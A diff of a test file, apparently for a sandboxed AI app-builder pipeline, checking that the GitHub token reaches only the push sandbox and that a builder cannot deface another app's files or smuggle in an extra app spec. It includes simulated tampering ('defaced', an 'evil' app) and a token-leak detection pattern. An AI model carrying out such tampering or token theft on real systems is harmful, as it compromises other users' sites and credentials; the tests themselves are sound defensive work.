and publishes only after a pass", async () => { - mocks.buildTask.mockResolvedValueOnce( - builderOutput({ - services: [ - { - ...site.services[0], - envVars: [ - { - key: "VITE_API_HOST", - fromService: { name: "api", property: "host" }, - }, - ], - }, - ], - }), - ); - const { context, runs } = recordSubtasks(); - - const result = await promptToApp.func(context, INPUT); - - expect(result.status, result.summary).toBe("awaiting_blueprint"); - expect(runs.map(({ name }) => name)).toEqual([ - "architect", - "builder", - "verify-app", - "builder", - "verify-app", - "publish-app", - ]); - const failure = - "web: envVar VITE_API_HOST uses fromService property host."; - expect(mocks.buildTask.mock.calls[1][1].message).toContain(failure); - expect(logged("log")[0]).toEqual({ - event: "app_verification_failed", - user: "demo", - appName: "shop", - failures: [expect.stringContaining(failure)], - }); - expect(mocks.commitPaths).toHaveBeenCalledTimes(1); - }); - - /** - * The builder can run any command in the sandbox of the run, and a - * process that it starts stays there. The token once went into that - * sandbox for the clone, and again for the push. - */ - it("gives the GitHub token only to the sandbox of the push", async () => { - mocks.githubToken.mockResolvedValue("ghs_push"); - const { context, runs } = recordSubtasks(); - - await promptToApp.func(context, INPUT); - - // After the builder: an installation token expires after an hour, - // and a run can take two. - expect(mocks.githubToken).toHaveBeenCalledOnce(); - expect(mocks.githubToken.mock.invocationCallOrder[0]).toBeGreaterThan( - Math.max(...mocks.buildTask.mock.invocationCallOrder), - ); - expect(mocks.cloneAppsRepo.mock.calls).toEqual([ - [ - fake.sandbox, - "ghs_push", - expect.objectContaining({ fullName: "acme/apps" }), - factoryConfig.branch, - ], - ]); - expect(mocks.pushVerified).toHaveBeenCalledWith( - fake.sandbox, - "ghs_push", - "https://github.com/acme/apps.git", - factoryConfig.branch, - PUBLISHED_PATHS, - expect.any(Function), - ); - // The sandbox of the run gets a repository with no remote. - const commands = build.run.mock.calls.map(([command]) => command); - expect(commands[0]).toBe( - `git init -q '${factoryConfig.repoDir}' && mkdir -p '${APP_DIR}'`, - ); - expect(commands.join("\n")).not.toMatch(/ghs_|clone|askpass/); - // The Render Dashboard shows the input of each subtask. - expect(JSON.stringify(runs)).not.toContain("ghs_"); - }); - - it("copies only the app directory out of the sandbox of the run", async () => { - // The builder can write outside its app directory in its sandbox. - buildFiles.set(`${VICTIM_DIR}/index.html`, "defaced"); - - await promptToApp.func(tasks, INPUT); - - expect(mocks.readAppFiles).toHaveBeenLastCalledWith( - build.sandbox, - APP_DIR, - ); - expect(mocks.writeAppFiles).toHaveBeenCalledWith( - fake.sandbox, - APP_DIR, - expect.any(Array), - ); - expect(mocks.commitPaths).toHaveBeenCalledWith( - fake.sandbox, - "demo/shop: Sell handmade walnut furniture online", - PUBLISHED_PATHS, - ); - expect(files.get(`${VICTIM_DIR}/index.html`)).toBe(STOREFRONT_HTML); - expect(JSON.parse(files.get(`${VICTIM_DIR}/factory.json`) ?? "")).toEqual( - victim, - ); - }); - - // publish-app writes the spec of the run over a factory.json of the - // builder, so a build cannot add resources that no run verified. - it("replaces a factory.json that the builder wrote", async () => { - buildFiles.set( - APP_SPEC, - json({ ...victim, user: "demo", appName: "evil" }), - ); - - await promptToApp.func(tasks, INPUT); - - expect(JSON.parse(files.get(APP_SPEC) ?? "")).toMatchObject({ - user: "demo", - appName: "shop", - }); - expect(files.get(ROOT_BLUEPRINT)).not.toContain("demo-evil"); - }); - - // The root Blueprint takes each spec of the repository, but only in the - // directory of the app that it names. - it("leaves a spec that names a different app out of the root Blueprint", async () => { - const decoy = `${appPath("demo", "decoy")}/factory.json`; - files.set(decoy, json({ ...victim, user: "demo", appName: "evil" })); - - await promptToApp.func(tasks, INPUT); - - const root = files.get(ROOT_BLUEPRINT) ?? ""; - expect(root).toContain("acme-victim-site-web"); - expect(root).toContain(`${factoryConfig.resourcePrefix}-demo-shop-web`); - expect(root).not.toContain("demo-evil"); - expect(logged("warn")).toContainEqual({ - event: "skipped_app_spec", - path: decoy, - reason: "it names demo/evil", - }); - }); - - it("gives the builder what publish-app would refuse", async () => { - const refusal = - "web/home.html is a symbolic link. Only regular files are published."; - mocks.readAppFiles.mockResolvedValueOnce({ error: refusal }); - const { context, runs } = recordSubtasks(); - - const result = await promptToApp.func(context, INPUT); - - expect(result.status, result.summary).toBe("awaiting_blueprint"); - expect(runs.map(({ name }) => name)).toEqual([ - "architect", - "builder", - "verify-app", - "builder", - "verify-app", - "publish-app", - ]); - expect(mocks.buildTask.mock.calls[1][1].message).toContain(refusal); - }); - - it("pushes nothing when the files of the app change after verify-app", async () => { - mocks.readAppFiles - .mockResolvedValueOnce({ files: [] }) - .mockResolvedValueOnce({ error: "web/home.html is a symbolic link." }); - - await expect(promptToApp.func(tasks, INPUT)).rejects.toThrow( - "publish-app did not copy the app. web/home.html is a symbolic link.", - ); - - // No sandbox for the push. - expect(mocks.createSandbox).toHaveBeenCalledTimes(1); - expect(mocks.githubToken).not.toHaveBeenCalled(); - expect(mocks.pushVerified).not.toHaveBeenCalled(); - }); - - it("ends the run as build_failed when the publish changes no files", async () => { - mocks.commitPaths.mockResolvedValue(null); - - const result = await promptToApp.func(tasks, INPUT); - - expect(result).toEqual({ - status: "build_failed", - summary: "The run produced no files.", - }); - expect(mocks.pushVerified).not.toHaveBeenCalled(); - expect(mocks.findBlueprint).not.toHaveBeenCalled(); - }); - - // A retry of publish-app after its push finds nothing to commit. A - // retry of verify-app after a timeout runs every build again. - it("registers verify-app and publish-app with no retries", () => { - for (const definition of [verifyAppTask, publishAppTask]) { - expect( - TaskRegistry.getInstance().get(definition.name)?.options?.retry, - definition.name, - ).toEqual({ max_retries: 0, wait_duration_ms: 0 }); - } - }); - }); + TaskRegistry.getInstance().get(name)?.options?.retry?.max_retries, + name, + ).toBe(0); + } });